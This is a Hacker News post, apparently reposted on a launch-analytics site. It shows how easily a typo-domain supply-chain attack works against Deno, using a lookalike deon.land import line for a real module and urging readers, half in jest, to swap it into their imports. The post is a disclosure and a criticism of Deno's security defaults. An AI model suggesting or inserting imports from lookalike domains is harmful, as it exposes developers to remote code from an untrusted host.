De

Deon.land – Deno.land?

Hacker News

Deon.land – Deno.land?

After yesterday's release of Deno with package.json support[0] some discussions about how Deno handles dependencies have been coming up again. Since Deno's inception, I've mostly been watching it from the sidelines, dabbling a bit with it, and mostly been considering it a fad that will die out sooner or later. Ultimately, with the new package.json support nothing really changed regarding the dependency management story of Deno. It's still as awful as ever. Prompted by some discussions, I decided I would try to test how easy it would be to mount a typo-domain supply chain attack. And as expected, it's about as easy as buying a domain and setting up a Cloudflare Worker (which isn't any harder than setting up Deno Deploy). And voila, for importing your favorite dependency, just copy-past the following snippet into your code (which after all is how you include dependencies in Deno): ``` import * as flat from "https://deon.land/x/flat@0.0.15/mod.ts"; ``` Which is virtually indistinguishable from what you'll find here[1]: ``` import * as flat from "https://deno.land/x/flat@0.0.15/mod.ts"; ``` (I swear, nothing bad will happen!) ------- Typo supply-chain attack aren't anything new. They are probably the most popular attack type on package managers (and their registries) in the past few years. This one is just slightly different because it is even worse, because unlike a moderated[2] registry like npmjs.com, this can't be easily taken down to reduce the exposure of developers to it. While this is just a fun little gag, the Deno teams stance on security is not so funny. While Deno has a few minimal security options nowadays, such as subresource integrity for a deno.json, you have to actively seek them out, and most project's don't even use a deno.json. Deno is creating a ecosystem with bad security defaults (with a community rejecting efforts towards them), to have a "simpler" system. They prioritize onboarding new developers over the security needs of the users of the services that those developers will build. I don't think that's okay. So, go ahead and have fun: Replace deno.land with deon.land in every import you want. Deno won't stop you! :) [0]: https://deno.com/blog/v1.31 [1]: https://deno.land/x/flat@0.0.15/mod.ts [2]: https://docs.npmjs.com/reporting-malware-in-an-npm-package

Share card

Actual performance

32points
24comments
Made the leaderboard

Launch Intel predictions

Analyze your own launch →
Indie HackersFits the IH revenue-focused audience · Missing: supports, reddit linkedin, podcasting
77%77% predicted probability of success on Indie Hackers, based on ML models trained on real launch data.
best fitHighest predicted score across all platforms for this description.
Hacker NewsMay not resonate with HN audience · Strong signals: ide, io · Missing: https docs, excited, just released
46%46% predicted probability of success on Hacker News, based on ML models trained on real launch data.
nativeThis product was originally launched on this platform.
Product HuntUnlikely to reach the leaderboard · Strong signals: user, new, code · Missing: mac, agents, macos
46%46% predicted probability of success on Product Hunt, based on ML models trained on real launch data.
TrustMRRLess likely to generate early MRR · Strong signals: users · Missing: mobile apps, ios, personal
42%42% predicted probability of success on TrustMRR, based on ML models trained on real launch data.
AppSumoMay struggle as an AppSumo deal · Strong signals: soon, users · Missing: plus, platform, intuitive
37%37% predicted probability of success on AppSumo, based on ML models trained on real launch data.
Acquire.comPre-revenue stage for this audience · Strong signals: active · Missing: arr, mrr, revenue
14%14% predicted probability of success on Acquire.com, based on ML models trained on real launch data.
BetaListMay not resonate with beta-testers · Missing: web3, chat, crypto
0%0% predicted probability of success on BetaList, based on ML models trained on real launch data.

Incorrect prediction on native model

Similar products

La
Land conservation through crowdfunding58%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

Land conservation through crowdfunding

Hacker News10
Mars Land
Mars Land19%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

Buy land on mars with crypto

Indie Hackers
Land Scout
Land Scout29%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

You have the home, but what about the land?

Indie Hackers1advertising
Pi
Pillr – Automated land lording63%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

Pillr – Automated land lording

Hacker News7
GT
GTFOBins – Living Off the Land57%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

GTFOBins – Living Off the Land

Hacker News5
Ic
Icons.land57%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

Icons.land

Hacker News8
250BPO
250BPO48%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

VAs from the land of a 1000 hills

Indie Hackerscommitment-full-time
Amaya River Retreat Riverside Resorts & Villas
Amaya River Retreat Riverside Resorts & Villas15%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

Farm Land & Residential Plots for Sale in Ooty & Anaikatti

Indie Hackerscommitment-full-time
I
I made an AI for drones to land safely40%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

I made an AI for drones to land safely

Hacker News3
MORT
MORT68%Launch Intel prediction score: how likely this product is to succeed on its source platform, based on its name, tagline, and description.

All you need to land your next job.

Indie Hackers1$1,000/moai